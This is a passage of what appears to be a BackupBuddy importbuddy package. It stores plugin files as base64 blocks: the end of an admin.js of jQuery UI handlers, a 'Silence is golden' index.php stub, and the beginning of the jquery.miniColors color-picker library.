sKCQlqUXVlcnkodGhpcykucGFyZW50KCkuY2hpbGRyZW4oICcucGJfZGVidWdfc2hvdycpLnNob3coKTsKCQlqUXVlcnkodGhpcykucGFyZW50KCkuY3NzKCAnZmxvYXQnLCAncmlnaHQnICk7CgkJalF1ZXJ5KHRoaXMpLnBhcmVudCgpLmNzcyggJ3dpZHRoJywgJzQwcHgnICk7CgkJalF1ZXJ5KHRoaXMpLnBhcmVudCgpLmNoaWxkcmVuKCAnZGl2JykuaGlkZSgpOwoJfSk7CgkKCWpRdWVyeSggJy5hZHZhbmNlZC10b2dnbGUtdGl0bGUnICkuY2xpY2soZnVuY3Rpb24oKXsKCQljb250YWluZXJXcmFwID0galF1ZXJ5KHRoaXMpLmNsb3Nlc3QoICdmb3JtJyApOwoJCXRpdGxlVG9nZ2xlID0gY29udGFpbmVyV3JhcC5maW5kKCAnLmFkdmFuY2VkLXRvZ2dsZS10aXRsZScgKTsKCQlyaWdodEFycm93ID0gdGl0bGVUb2dnbGUuZmluZCggJy5kYXNoaWNvbnMtYXJyb3ctcmlnaHQnICk7CgkJaWYgKCByaWdodEFycm93Lmxlbmd0aCA+IDAgKSB7CgkJCXJpZ2h0QXJyb3cucmVtb3ZlQ2xhc3MoICdkYXNoaWNvbnMtYXJyb3ctcmlnaHQnICkuYWRkQ2xhc3MoICdkYXNoaWNvbnMtYXJyb3ctZG93bicgKTsKCQl9IGVsc2UgewoJCQl0aXRsZVRvZ2dsZS5maW5kKCAnLmRhc2hpY29ucy1hcnJvdy1kb3duJyApLnJlbW92ZUNsYXNzKCAnZGFzaGljb25zLWFycm93LWRvd24nICkuYWRkQ2xhc3MoICdkYXNoaWNvbnMtYXJyb3ctcmlnaHQnICk7CgkJfQoJCWNvbnRhaW5lcldyYXAuZmluZCggJy5hZHZhbmNlZC10b2dnbGUnICkudG9nZ2xlKCk7Cgl9KTsKCQoJCglqUXVlcnkoJy5wbHVnaW5idWRkeV90aXAnKS50b29sdGlwKCk7IC8vIE5vdyB1c2luZyBqUXVlcnkgVUkgdG9vbHRpcC4KCQoJCglpZiAodHlwZW9mIGpRdWVyeS50YWJsZURuRCAhPT0gJ3VuZGVmaW5lZCcpIHsgLy8gSWYgdGFibGVEbkQgZnVuY3Rpb24gbG9hZGVkLgoJCWpRdWVyeSgnLnBiX3Jlb3JkZXInKS50YWJsZURuRCh7CgkJCW9uRHJvcDogZnVuY3Rpb24odGJvZHksIHJvdykgewoJCQkJdmFyIG5ld19vcmRlciA9IG5ldyBBcnJheSgpOwoJCQkJdmFyIHJvd3MgPSB0Ym9keS5yb3dzOwoJCQkJZm9yICh2YXIgaT0wOyBpPHJvd3MubGVuZ3RoOyBpKyspIHsKCQkJCQluZXdfb3JkZXIucHVzaCggcm93c1tpXS5pZC5zdWJzdHJpbmcoMTEpICk7CgkJCQl9CgkJCQluZXdfb3JkZXIgPSBuZXdfb3JkZXIuam9pbiggJywnICk7CgkJCQlqUXVlcnkoICcjcGJfb3JkZXInICkudmFsKCBuZXdfb3JkZXIgKQoJCQl9LAoJCQlkcmFnSGFuZGxlOiAicGJfZHJhZ2hhbmRsZSIKCQl9KTsKCX0KCQoJalF1ZXJ5KCcucGJfdG9nZ2xlJykuY2xpY2soZnVuY3Rpb24oZSkgewoJCWpRdWVyeSggJyNwYl90b2dnbGUtJyArIGpRdWVyeSh0aGlzKS5hdHRyKCdpZCcpICkuc2xpZGVUb2dnbGUoKTsKCX0pOwoJCgkKfSk7
###PACKDATA,FILE_END,/pluginbuddy/js/admin.js,importbuddy/pluginbuddy/js/admin.js
###PACKDATA,FILE_START,/pluginbuddy/js/index.php,importbuddy/pluginbuddy/js/index.php
PD9waHAKLyoqCiAqIFNpbGVuY2UgaXMgZ29sZGVuLgogKgogKiBAcGFja2FnZSBCYWNrdXBCdWRkeQogKi8K
###PACKDATA,FILE_END,/pluginbuddy/js/index.php,importbuddy/pluginbuddy/js/index.php
###PACKDATA,FILE_START,/pluginbuddy/js/jquery.miniColors.min.js,importbuddy/pluginbuddy/js/jquery.miniColors.min.js
LyoKICogalF1ZXJ5IG1pbmlDb2xvcnM6IEEgc21hbGwgY29sb3Igc2VsZWN0b3IKICoKICogQ29weXJpZ2h0IDIwMTEgQ29yeSBMYVZpc2thIGZvciBBIEJlYXV0aWZ1bCBTaXRlLCBMTEMuIChodHRwOi8vYWJlYXV0aWZ1bHNpdGUubmV0LykKICoKICogRHVhbCBsaWNlbnNlZCB1bmRlciB0aGUgTUlUIG9yIEdQTCBWZXJzaW9uIDIgbGljZW5zZXMKICoKKi8KaWYoalF1ZXJ5KShmdW5jdGlvbigkKXskLmV4dGVuZCgkLmZuLHttaW5pQ29sb3JzOmZ1bmN0aW9uKG8sZGF0YSl7dmFyIGNyZWF0ZT1mdW5jdGlvbihpbnB1dCxvLGRhdGEpe3ZhciBjb2xvcj1leHBhbmRIZXgoaW5wdXQudmFsKCkpO2lmKCFjb2xvciljb2xvcj0nZmZmZmZmJzt2YXIgaHNiPWhleDJoc2IoY29sb3IpO3ZhciB0cmlnZ2VyPSQoJzxhIGNsYXNzPSJtaW5pQ29sb3JzLXRyaWdnZXIiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjJytjb2xvcisnIiBocmVmPSIjIj48L2E+Jyk7dHJpZ2dlci5pbnNlcnRBZnRlcihpbnB1dCk7aW5wdXQuYWRkQ2xhc3MoJ21pbmlDb2xvcnMnKS5kYXRhKCdvcmlnaW5hbC1tYXhsZW5ndGgnLGlucHV0LmF0dHIoJ21heGxlbmd0aCcpfHxudWxsKS5kYXRhKCdvcmlnaW5hbC1hdXRvY29tcGxldGUnLGlucHV0LmF0dHIoJ2F1dG9jb21wbGV0ZScpfHxudWxsKS5kYXRhKCdsZXR0ZXJDYXNlJywndXBwZXJjYXNlJykuZGF0YSgndHJpZ2dlcicsdHJpZ2dlcikuZGF0YSgnaHNiJyxoc2IpLmRhdGEoJ2NoYW5nZScsby5jaGFuZ2U/by5jaGFuZ2U6bnVsbCkuYXR0cignbWF4bGVuZ3RoJyw3KS5hdHRyKCdhdXRvY29tcGxldGUnLCdvZmYnKS52YWwoJyMnK2NvbnZlcnRDYXNlKGNvbG9yLG8ubGV0dGVyQ2FzZSkpO2lmKG8ucmVhZG9ubHkpaW5wdXQucHJvcCgncmVhZG9ubHknLHRydWUpO2lmKG8uZGlzYWJsZWQpZGlzYWJsZShpbnB1dCk7dHJpZ2dlci5iaW5kKCdjbGljay5taW5pQ29sb3JzJyxmdW5jdGlvbihldmVudCl7ZXZlbnQucHJldmVudERlZmF1bHQoKTtpZihpbnB1dC52YWwoKT09PScnKWlucHV0LnZhbCgnIycpO3Nob3coaW5wdXQpfSk7aW5wdXQuYmluZCgnZm9jdXMubWluaUNvbG9ycycsZnVuY3Rpb24oZXZlbnQpe2lmKGlucHV0LnZhbCgpPT09JycpaW5wdXQudmFsKCcjJyk7c2hvdyhpbnB1dCl9KTtpbnB1dC5iaW5kKCdibHVyLm1pbmlDb2xvcnMnLGZ1bmN0aW9uKGV2ZW50KXt2YXIgaGV4PWV4cGFuZEhleChpbnB1dC52YWwoKSk7aW5wdXQudmFsKGhleD8nIycrY29udmVydENhc2UoaGV4LGlucHV0LmRhdGEoJ2xldHRlckNhc2UnKSk6JycpfSk7aW5wdXQuYmluZCgna2V5ZG93bi5taW5pQ29sb3JzJyxmdW5jdGlvbihldmVudCl7aWYoZXZlbnQua2V5Q29kZT09PTkpaGlkZShpbnB1dCl9KTtpbnB1dC5iaW5kKCdrZXl1cC5taW5pQ29sb3JzJyxmdW5jdGlvbihldmVudCl7c2V0Q29sb3JGcm9tSW5wdXQoaW5wdXQpfSk7aW5wdXQuYmluZCgncGFzdGUubWluaUNvbG9ycycsZnVuY3Rpb24oZXZlbnQpe3NldFRpbWVvdXQoZnVuY3Rpb24oKXtzZXRDb2xvckZyb21JbnB1dChpbnB1dCl9LDUpfSl9O3ZhciBkZXN0cm95PWZ1bmN0aW9uKGlucHV0KXtoaWRlKCk7aW5wdXQ9JChpbnB1dCk7aW5wdXQuZGF0YSgndHJpZ2dlcicpLnJlbW92ZSgpO2lucHV0LmF0dHIoJ2F1dG9jb21wbGV0ZScsaW5wdXQuZGF0YSgnb3JpZ2luYWwtYXV0b2NvbXBsZXRlJykpLmF0dHIoJ21heGxlbmd0aCcsaW5wdXQuZGF0YSgnb3JpZ2luYWwtbWF4bGVuZ3RoJykpLnJlbW92ZURhdGEoKS5yZW1vdmVDbGFzcygnbWluaUNvbG9ycycpLnVuYmluZCgnLm1pbmlDb2xvcnMnKTskKGRvY3VtZW50KS51bmJpbmQoJy5taW5pQ29sb3JzJyl9O3ZhciBlbmFibGU9ZnVuY3Rpb24oaW5wdXQpe2lucHV0LnByb3AoJ2Rpc2FibGVkJyxmYWxzZSkuZGF0YSgndHJpZ2dlcicpLmNzcygnb3BhY2l0eScsMSl9O3ZhciBkaXNhYmxlPWZ1bmN0aW9uKGlucHV0KXtoaWRlKGlucHV0KTtpbnB1dC5wcm9wKCdkaXNhYmxlZCcsdHJ1ZSkuZGF0YSgndHJpZ2dlcicpLmNzcygnb3BhY2l0eScsMC41KX07dmFyIHNob3c9ZnVuY3Rpb24oaW5wdXQpe2lmKGlucHV0LnByb3AoJ2Rpc2FibGVkJykpcmV0dXJuIGZhbHNlO2hpZGUoKTt2YXIgc2VsZWN0b3I9JCgnPGRpdiBjbGFzcz0ibWluaUNvbG9ycy1zZWxlY3RvciI+PC9kaXY+Jyk7c2VsZWN0b3IuYXBwZW5kKCc8ZGl2IGNsYXNzPSJtaW5pQ29sb3JzLWNvbG9ycyIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNGRkY7Ij48ZGl2IGNsYXNzPSJtaW5pQ29sb3JzLWNvbG9yUGlja2VyIj48L2Rpdj48L2Rpdj4nKS5hcHBlbmQoJzxkaXYgY2xhc3M9Im1pbmlDb2xvcnMtaHVlcyI+PGRpdiBjbGFzcz0ibWluaUNvbG9ycy1odWVQaWNrZXIiPjwvZGl2PjwvZGl2PicpLmNzcyh7dG9wOmlucHV0LmlzKCc6dmlzaWJsZScpP2lucHV0Lm9mZnNldCgpLnRvcCtpbnB1dC5vdXRlckhlaWdodCgpOmlucHV0LmRhdGEoJ3RyaWdnZXInKS5vZmZzZXQoKS50b3AraW5wdXQuZGF0YSgndHJpZ2dlcicpLm91dGVySGVpZ2h0KCksbGVmdDppbnB1dC5pcygnOnZpc2libGUnKT9pbnB1dC5vZmZzZXQoKS5sZWZ0OmlucHV0LmRhdGEoJ3RyaWdnZXInKS5vZmZzZXQoKS5sZWZ0LGRpc3BsYXk6J25vbmUnfSkuYWRkQ2xhc3MoaW5wdXQuYXR0cignY2xhc3MnKSk7dmFyIGhzYj1pbnB1dC5kYXRhKCdoc2InKTtzZWxlY3Rvci5maW5kKCcubWluaUNvbG9ycy1jb2xvcnMnKS5jc3MoJ2JhY2tncm91bmRDb2xvcicsJyMnK2hzYjJoZXgoe2g6aHNiLmgsczoxMDAsYjoxMDB9KSk7dmFyIGNvbG9yUG9zaXRpb249aW5wdXQuZGF0YSgnY29sb3JQb3NpdGlvbicpO2lmKCFjb2xvclBvc2l0aW9uKWNvbG9yUG9zaXRpb249Z2V0Q29sb3JQb3NpdGlvbkZyb21IU0IoaHNiKTtzZWxlY3Rvci5maW5kKCcubWluaUNvbG9ycy1jb2xvclBpY2tlcicpLmNzcygndG9wJyxjb2xvclBvc2l0aW9uLnkrJ3B4JykuY3NzKCdsZWZ0Jyxjb2xvclBvc2l0aW9uLngrJ3B4Jyk7dmFyIGh1ZVBvc2l0aW9uPWlucHV0LmRhdGEoJ2h1ZVBvc2l0aW9uJyk7aWYoIWh1ZVBvc2l0aW9uKWh1ZVBvc2l0aW9uPWdldEh1ZVBvc2l0aW9uRnJvbUhTQihoc2IpO3NlbGVjdG9yLmZpbmQoJy5taW5pQ29sb3JzLWh1ZVBpY2tlcicpLmNzcygndG9wJyxodWVQb3NpdGlvbi55KydweCcpO2lucHV0LmRhdGEoJ3NlbGVjdG9yJyxzZWxlY3RvcikuZGF0YSgnaHVlUGlja2VyJyxzZWxlY3Rvci5maW5kKCcubWluaUNvbG9ycy1odWVQaWNrZXInKSkuZGF0YSgnY29sb3JQaWNrZXInLHNlbGVjdG9yLmZpbmQoJy5taW5pQ29sb3JzLWNvbG9yUGlja2VyJykpLmRhdGEoJ21vdXNlYnV0dG9uJywwKTskKCdCT0RZJykuYXBwZW5kKHNlbGVjdG9yKTtzZWxlY3Rvci5mYWRlSW4oMTAwKTtzZWxlY3Rvci5iaW5kKCdzZWxlY3RzdGFydCcsZnVuY3Rpb24oKXtyZXR1cm4gZmFsc2V9KTskKGRvY3VtZW50KS5iaW5kKCdtb3VzZWRvd24ubWluaUNvbG9ycyB0b3VjaHN0YXJ0Lm1pbmlDb2xvcnMnLGZ1bmN0aW9uKGV2ZW50KXtpbnB1dC5kYXRhKCdtb3VzZWJ1dHRvbicsMSk7aWYoJChldmVudC50YXJnZXQpLnBhcmVudHMoKS5hbmRTZWxmKCkuaGFzQ2xhc3MoJ21pbmlDb2xvcnMtY29sb3JzJykpe2V2ZW50LnByZXZlbnREZWZhdWx0KCk7aW5wdXQuZGF0YSgnbW92aW5nJywnY29sb3JzJyk7bW92ZUNvbG9yKGlucHV0LGV2ZW50KX1pZigkKGV2ZW50LnRhcmdldCkucGFyZW50cygpLmFuZFNlbGYoKS5oYXNDbGFzcygnbWluaUNvbG9ycy1odWVzJykpe2V2ZW50LnByZXZlbnREZWZhdWx0KCk7aW5wdXQuZGF0YSgnbW92aW5nJywnaHVlcycpO21vdmVIdWUoaW5wdXQsZXZlbnQpfWlmKCQoZXZlbnQudGFyZ2V0KS5wYXJlbnRzKCkuYW5kU2VsZigpLmhhc0NsYXNzKCdtaW5pQ29sb3JzLXNlbGVjdG9yJykpe2V2ZW50LnByZXZlbnREZWZhdWx0KCk7cmV0dXJufWlmKCQoZXZlbnQudGFyZ2V0KS5wYXJlbnRzKCkuYW5kU2VsZigpLmhhc0NsYXNzKCdtaW5pQ29sb3JzJykpcmV0dXJuO2hpZGUoaW5wdXQpfSk7JChkb2N1bWVudCkuYmluZCgnbW91c2V1cC5taW5pQ29sb3JzIHRvdWNoZW5kLm1pbmlDb2xvcnMnLGZ1bmN0aW9uKGV2ZW50KXtldmVudC5wcmV2ZW50RGVmYXVsdCgpO2lucHV0LmRhdGEoJ21vdXNlYnV0dG9uJywwKS5yZW1vdmVEYXRhKCdtb3ZpbmcnKX0pLmJpbmQoJ21vdXNlbW92ZS5taW5pQ29sb3JzIHRvdWNobW92ZS5taW5pQ29sb3JzJyxmdW5jdGlvbihldmVudCl7ZXZlbnQucHJldmVudERlZmF1bHQoKTtpZihpbnB1dC5kYXRhKCdtb3VzZWJ1dHRvbicpPT09MSl7aWYoaW5wdXQuZGF0YSgnbW92aW5nJyk9PT0nY29sb3JzJyltb3ZlQ29sb3IoaW5wdXQsZXZlbnQpO2lmKGlucHV0LmRhdGEoJ21vdmluZycpPT09J2h1ZXMnKW1vdmVIdWUoaW5wdXQsZXZlbnQpfX0pfTt2YXIgaGlkZT1mdW5jdGlvbihpbnB1dCl7aWYoIWlucHV0KWlucHV0PScubWluaUNvbG9ycyc7JChpbnB1dCkuZWFjaChmdW5jdGlvbigpe3ZhciBzZWxlY3Rvcj0kKHRoaXMpLmRhdGEoJ3NlbGVjdG9yJyk7JCh0aGlzKS5yZW1vdmVEYXRhKCdzZWxlY3RvcicpOyQoc2VsZWN0b3IpLmZhZGVPdXQoMTAwLGZ1bmN0aW9uKCl7JCh0aGlzKS5yZW1vdmUoKX0pfSk7JChkb2N1bWVudCkudW5iaW5kKCdtb3VzZWRvd24ubWluaUNvbG9ycyB0b3VjaHN0YXJ0Lm1pbmlDb2xvcnMnKS51bmJpbmQoJ21vdXNlbW92ZS5taW5pQ29sb3JzIHRvdWNobW92ZS5taW5pQ29sb3JzJyl9O3ZhciBtb3ZlQ29sb3I9ZnVuY3Rpb24oaW5wdXQsZXZlbnQpe3ZhciBjb2xvclBpY2tlcj1pbnB1dC5kYXRhKCdjb2xvclBpY2tlcicpO2NvbG9yUGlja2VyLmhpZGUoKTt2YXIgcG9zaXRpb249e3g6ZXZlbnQucGFnZVgseTpldmVudC5wYWdlWX07aWYoZXZlbnQub3JpZ2luYWxFdmVudC5jaGFuZ2VkVG91Y2hlcyl7cG9zaXRpb24ueD1ldmVudC5vcmlnaW5hbEV2ZW50LmNoYW5nZWRUb3VjaGVzWzBdLnBhZ2VYO3Bvc2l0aW9uLnk9ZXZlbnQub3JpZ2luYWxFdmVudC5jaGFuZ2VkVG91Y2hlc1swXS5wYWdlWX1wb3NpdGlvbi54PXBvc2l0aW9uLngtaW5wdXQuZGF0YSgnc2VsZWN0b3InKS5maW5kKCcubWluaUNvbG9ycy1jb2xvcnMnKS5vZmZzZXQoKS5sZWZ0LTU7cG9zaXRpb24ueT1wb3NpdGlvbi55LWlucHV0LmRhdGEoJ3NlbGVjdG9yJykuZmluZCgnLm1pbmlDb2xvcnMtY29sb3JzJykub2Zmc2V0KCkudG9wLTU7aWYocG9zaXRpb24ueDw9LTUpcG9zaXRpb24ueD0tNTtpZihwb3NpdGlvbi54Pj0xNDQpcG9zaXRpb24ueD0xNDQ7aWYocG9zaXRpb24ueTw9LTUpcG9zaXRpb24ueT0tNTtpZihwb3NpdGlvbi55Pj0xNDQpcG9zaXRpb24ueT0xNDQ7aW5wdXQuZGF0YSgnY29sb3JQb3NpdGlvbicscG9zaXRpb24pO2NvbG9yUGlja2VyLmNzcygnbGVmdCcscG9zaXRpb24ueCkuY3NzKCd0b3AnLHBvc2l0aW9uLnkpLnNob3coKTt2YXIgcz1NYXRoLnJvdW5kKChwb3NpdGlvbi54KzUpKjAuNjcpO2lmKHM8MClzPTA7aWYocz4xMDApcz0xMDA7dmFyIGI9MTAwLU1hdGgucm91bmQoKHBvc2l0aW9uLnkrNSkqMC42Nyk7aWYoYjwwKWI9MDtpZihiPjEwMCliPTEwMDt2YXIgaHNiPWlucHV0LmRhdGEoJ2hzYicpO2hzYi5zPXM7aHNiLmI9YjtzZXRDb2xvcihpbnB1dCxoc2IsdHJ1ZSl9O3ZhciBtb3ZlSHVlPWZ1bmN0aW9uKGlucHV0LGV2ZW50KXt2YXIgaHVlUGlja2VyPWlucHV0LmRhdGEoJ2h1ZVBpY2tlcicpO2h1ZVBpY2tlci5oaWRlKCk7dmFyIHBvc2l0aW9uPXt5OmV2ZW50LnBhZ2VZfTtpZihldmVudC5vcmlnaW5hbEV2ZW50LmNoYW5nZWRUb3VjaGVzKXtwb3NpdGlvbi55PWV2ZW50Lm9yaWdpbmFsRXZlbnQuY2hhbmdlZFRvdWNoZXNbMF0ucGFnZVl9cG9zaXRpb24ueT1wb3NpdGlvbi55LWlucHV0LmRhdGEoJ3NlbGVjdG9yJykuZmluZCgnLm1pbmlDb2xvcnMtY29sb3JzJykub2Zmc2V0KCkudG9wLTE7aWYocG9zaXRpb24ueTw9LTEpcG9zaXRpb24ueT0tMTtpZihwb3NpdGlvbi55Pj0xNDkpcG9zaXRpb24ueT0xNDk7aW5wdXQuZGF0YSgnaHVlUG9zaXRpb24nLHBvc2l0aW9uKTtodWVQaWNrZXIuY3NzKCd0b3AnLHBvc2l0aW9uLnkpLnNob3coKTt2YXIgaD1NYXRoLnJvdW5kKCgxNTAtcG9zaXRpb24ueS0xKSoyLjQpO2lmKGg8MCloPTA7aWYoaD4zNjApaD0zNjA7dmFyIGhzYj1pbnB1dC5kYXRhKCdoc2InKTtoc2IuaD1oO3NldENvbG9yKGlucHV0LGhzYix0cnVlKX07dmFyIHNldENvbG9yPWZ1bmN0aW9uKGlucHV0LGhzYix1cGRhdGVJbnB1dCl7aW5wdXQuZGF0YSgnaHNiJyxoc2IpO3ZhciBoZXg9aHNiMmhleChoc2IpO2lmKHVwZGF0ZUlucHV0KWlucHV0LnZhbCgnIycrY29udmVydENhc2UoaGV4LGlucHV0LmRhdGEoJ2xldHRlckNhc2UnKSkpO2lucHV0LmRhdGEoJ3RyaWdnZXInKS5jc3MoJ2JhY2tncm91bmRDb2xvcicsJyMnK2hleCk7aWYoaW5wdXQuZGF0YSgnc2VsZWN0b3InKSlpbnB1dC5kYXRhKCdzZWxlY3RvcicpLmZpbmQoJy5taW5pQ29sb3JzLWNvbG9ycycpLmNzcygnYmFja2dyb3VuZENvbG9yJywnIycraHNiMmhleCh7aDpoc2IuaCxzOjEwMCxiOjEwMH0pKTtpZihpbnB1dC5kYXRhKCdjaGFuZ2UnKSl7aWYoaGV4PT09aW5wdXQuZGF0YSgnbGFzdENoYW5nZScpKXJldHVybjtpbnB1dC5kYXRhKCdjaGFuZ2UnKS5jYWxsKGlucHV0LCcjJytoZXgsaHNiMnJnYihoc2IpKTtpbnB1dC5kYXRhKCdsYXN0Q2hhbmdlJyxoZXgpfX07dmFyIHNldENvbG9yRnJvbUlucHV0PWZ1bmN0aW9uKGlucHV0KXtpbnB1dC52YWwoJyMnK2NsZWFuSGV4KGlucHV0LnZhbCgpKSk7dmFyIGhleD1leHBhbmRIZXgoaW5wdXQudmFsKCkpO2lmKCFoZXgpcmV0dXJuIGZhbHNlO3ZhciBoc2I9aGV4MmhzYihoZXgpO3ZhciBjdXJyZW50SFNCPWlucHV0LmRhdGEoJ2hzYicpO2lmKGhzYi5oPT09Y3VycmVudEhTQi5oJiZoc2Iucz09PWN1cnJlbnRIU0IucyYmaHNiLmI9PT1jdXJyZW50SFNCLmIpcmV0dXJuIHRydWU7dmFyIGNvbG9yUG9zaXRpb249Z2V0Q29sb3JQb3NpdGlvbkZyb21IU0IoaHNiKTt2YXIgY29sb3JQaWNrZXI9JChpbnB1dC5kYXRhKCdjb2xvclBpY2tlcicpKTtjb2xvclBpY2tlci5jc3MoJ3RvcCcsY29sb3JQb3NpdGlvbi55KydweCcpLmNzcygnbGVmdCcsY29sb3JQb3NpdGlvbi54KydweCcpO2lucHV0LmRhdGEoJ2NvbG9yUG9zaXRpb24nLGNvbG9yUG9zaXRpb24pO3ZhciBodWVQb3NpdGlvbj1nZXRIdWVQb3NpdGlvbkZyb21IU0IoaHNiKTt2YXIgaHVlUGlja2VyPSQoaW5wdXQuZGF0YSgnaHVlUGlja2VyJykpO2h1ZVBpY2tlci5jc3MoJ3RvcCcsaHVlUG9zaXRpb24ueSsncHgnKTtpbnB1dC5kYXRhKCdodWVQb3NpdGlvbicsaHVlUG9zaXRpb24pO3NldENvbG9yKGlucHV0LGhzYik7cmV0dXJuIHRydWV9O3ZhciBjb252ZXJ0Q2FzZT1mdW5jdGlvbihzdHJpbmcsbGV0dGVyQ2FzZSl7aWYobGV0dGVyQ2FzZT09PSdsb3dlcmNhc2UnKXJldHVybiBzdHJpbmcudG9Mb3dlckNhc2UoKTtpZihsZXR0ZXJDYXNlPT09J3VwcGVyY2FzZScpcmV0dXJuIHN0cmluZy50b1VwcGVyQ2FzZSgpO3JldHVybiBzdHJpbmd9O3ZhciBnZXRDb2xvclBvc2l0aW9uRnJvbUhTQj1mdW5jdGlvbihoc2Ipe3ZhciB4PU1hdGguY2VpbChoc2Iucy8wLjY3KTtpZih4PDApeD0wO2lmKHg+MTUwKXg9MTUwO3ZhciB5PTE1MC1NYXRoLmNlaWwoaHNiLmIvMC42Nyk7aWYoeTwwKXk9MDtpZih5PjE1MCl5PTE1MDtyZXR1cm57eDp4LTUseTp5LTV9fTt2YXIgZ2V0SHVlUG9zaXRpb25Gcm9tSFNCPWZ1bmN0aW9uKGhzYil7dmFyIHk9MTUwLShoc2IuaC8yLjQpO2lmKHk8MCloPTA7aWYoeT4xNTApaD0xNTA7cmV0dXJue3k6eS0xfX07dmFyIGNsZWFuSGV4PWZ1bmN0aW9uKGhleCl7cmV0dXJuIGhleC5yZXBsYWNlKC9bXkEtRjAtOV0vaWcsJycpfTt2YXIgZXhwYW5kSGV4PWZ1bmN0aW9uKGhleCl7aGV4PWNsZWFuSGV4KGhleCk7aWYoIWhleClyZXR1cm4gbnVsbDtpZihoZXgubGVuZ3RoPT09MyloZXg9aGV4WzBdK2hleFswXStoZXhbMV0raGV4WzFdK2hleFsyXStoZXhbMl07cmV0dXJuIGhleC5sZW5ndGg9PT02P2hleDpudWxsfTt2YXIgaHNiMnJnYj1mdW5jdGlvbihoc2Ipe3ZhciByZ2I9e307dmFyIGg9TWF0aC5yb3VuZChoc2IuaCk7dmFyIHM9TWF0aC5yb3VuZChoc2IucyoyNTUvMTAwKTt2YXIgdj1NYXRoLnJvdW5kKGhzYi5iKjI1NS8xMDApO2lmKHM9PT0wKXtyZ2Iucj1yZ2IuZz1yZ2IuYj12fWVsc2V7dmFyIHQxPXY7dmFyIHQyPSgyNTUtcykqdi8yNTU7dmFyIHQzPSh0MS10MikqKGglNjApLzYwO2lmKGg9PT0zNjApaD0wO2lmKGg8NjApe3JnYi5yPXQxO3JnYi5iPXQyO3JnYi5nPXQyK3QzfWVsc2UgaWYoaDwxMjApe3JnYi5nPXQxO3JnYi5iPXQyO3JnYi5yPXQxLXQzfWVsc2UgaWYoaDwxODApe3JnYi5nPXQxO3JnYi5yPXQyO3JnYi5iPXQyK3QzfWVsc2UgaWYoaDwyNDApe3JnYi5iPXQxO3JnYi5yPXQyO3JnYi5nPXQxLXQzfWVsc2UgaWYoaDwzMDApe3JnYi5iPXQxO3JnYi5nPXQyO3JnYi5yPXQyK3QzfWVsc2UgaWYoaDwzNjApe3JnYi5yPXQxO3JnYi5nPXQyO3JnYi5iPXQxLXQzfWVsc2V7cmdiLnI9MDtyZ2IuZz0wO3JnYi5iPTB9fXJldHVybntyOk1hdGgucm91bmQocmdiLnIpLGc6TWF0aC5yb3VuZChyZ2IuZyksYjpNYXRoLnJvdW5kKHJnYi5iKX19O3ZhciByZ2IyaGV4PWZ1bmN0aW9uKHJnYil7dmFyIGhleD1bcmdiLnIudG9TdHJpbmcoMTYpLHJnYi5nLnRvU3RyaW5nKDE2KSxyZ2IuYi50b1N0cmluZygxNildOyQuZWFjaChoZXgsZnVuY3Rpb24obnIsdmFsKXtpZih2YWwubGVuZ3RoPT09MSloZXhbbnJdPScwJyt2YWx9KTtyZXR1cm4gaGV4LmpvaW4oJycpfTt2YXIgaGV4MnJnYj1mdW5jdGlvbihoZXgpe2hleD1wYXJzZUludCgoKGhleC5pbmRleE9mKCcjJyk+LTEpP2hleC5zdWJzdHJpbmcoMSk6aGV4KSwxNik7cmV0dXJue3I6aGV4Pj4xNixnOihoZXgmMHgwMEZGMDApPj44LGI6KGhleCYweDAwMDBGRil9fTt2YXIgcmdiMmhzYj1mdW5jdGlvbihyZ2Ipe3ZhciBoc2I9e2g6MCxzOjAsYjowfTt2YXIgbWluPU1hdGgubWluKHJnYi5yLHJnYi5nLHJnYi5iKTt2YXIgbWF4PU1hdGgubWF4KHJnYi5yLHJnYi5nLHJnYi5iKTt2YXIgZGVsdGE9bWF4LW1pbjtoc2IuYj1tYXg7aHNiLnM9bWF4IT09MD8yNTUqZGVsdGEvbWF4OjA7aWYoaHNiLnMhPT0wKXtpZihyZ2Iucj09PW1heCl7aHNiLmg9KHJnYi5nLXJnYi5iKS9kZWx0YX1lbHNlIGlmKHJnYi5nPT09bWF4KXtoc2IuaD0yKyhyZ2IuYi1yZ2IucikvZGVsdGF9ZWxzZXtoc2IuaD00KyhyZ2Iuci1yZ2IuZykvZGVsdGF9fWVsc2V7aHNiLmg9LTF9aHNiLmgqPTYwO2lmKGhzYi5oPDApe2hzYi5oKz0zNjB9aHNiLnMqPTEwMC8yNTU7aHNiLmIqPTEwMC8yNTU7cmV0dXJuIGhzYn07dmFyIGhleDJoc2I9ZnVuY3Rpb24oaGV4KXt2YXIgaHNiPXJnYjJoc2IoaGV4MnJnYihoZXgpKTtpZihoc2Iucz09PTApaHNiLmg9MzYwO3JldHVybiBoc2J9O3ZhciBoc2IyaGV4PWZ1bmN0aW9uKGhzYil7cmV0dXJuIHJnYjJoZXgoaHNiMnJnYihoc2IpKX07c3dpdGNoKG8pe2Nhc2UncmVhZG9ubHknOiQodGhpcykuZWFjaChmdW5jdGlvbigpe2lmKCEkKHRoaXMpLmhhc0NsYXNzKCdtaW5pQ29sb3JzJykpcmV0dXJuOyQodGhpcykucHJvcCgncmVhZG9ubHknLGRhdGEpfSk7cmV0dXJuICQodGhpcyk7Y2FzZSdkaXNhYmxlZCc6JCh0aGlzKS5lYWNoKGZ1bmN0aW9uKCl7aWYoISQodGhpcykuaGFzQ2xhc3MoJ21pbmlDb2xvcnMnKSlyZXR1cm47aWYoZGF0YSl7ZGlzYWJsZSgkKHRoaXMpKX1lbHNle2VuYWJsZSgkKHRoaXMpKX19KTtyZXR1cm4gJCh0aGlzKTtjYXNlJ3ZhbHVlJzppZihkYXRhPT09dW5kZWZpbmVkKXtpZighJCh0aGlzKS5oYXNDbGFzcygnbWluaUNvbG9ycycpKXJldHVybjt2YXIgaW5wdXQ9JCh0aGlzKSxoZXg9ZXhwYW5kSGV4KGlucHV0LnZhbCgpKTtyZXR1cm4gaGV4PycjJytjb252ZXJ0Q2FzZShoZXgsaW5wdXQuZGF0YSgnbGV0dGVyQ2FzZScpKTpudWxsfSQodGhpcykuZWFjaChmdW5jdGlvbigpe2lmKCEkKHRoaXMpLmhhc0NsYXNzKCdtaW5pQ29sb3JzJykpcmV0dXJuOyQodGhpcykudmFsKGRhdGEpO3NldENvbG9yRnJvbUlucHV0KCQodGhpcykpfSk7cmV0dXJuICQodGhpcyk7Y2FzZSdkZXN0cm95JzokKHRoaXMpLmVhY2goZnVuY3Rpb24oKXtpZighJCh0aGlzKS5oYXNDbGFzcygnbWluaUNvbG9ycycpKXJldH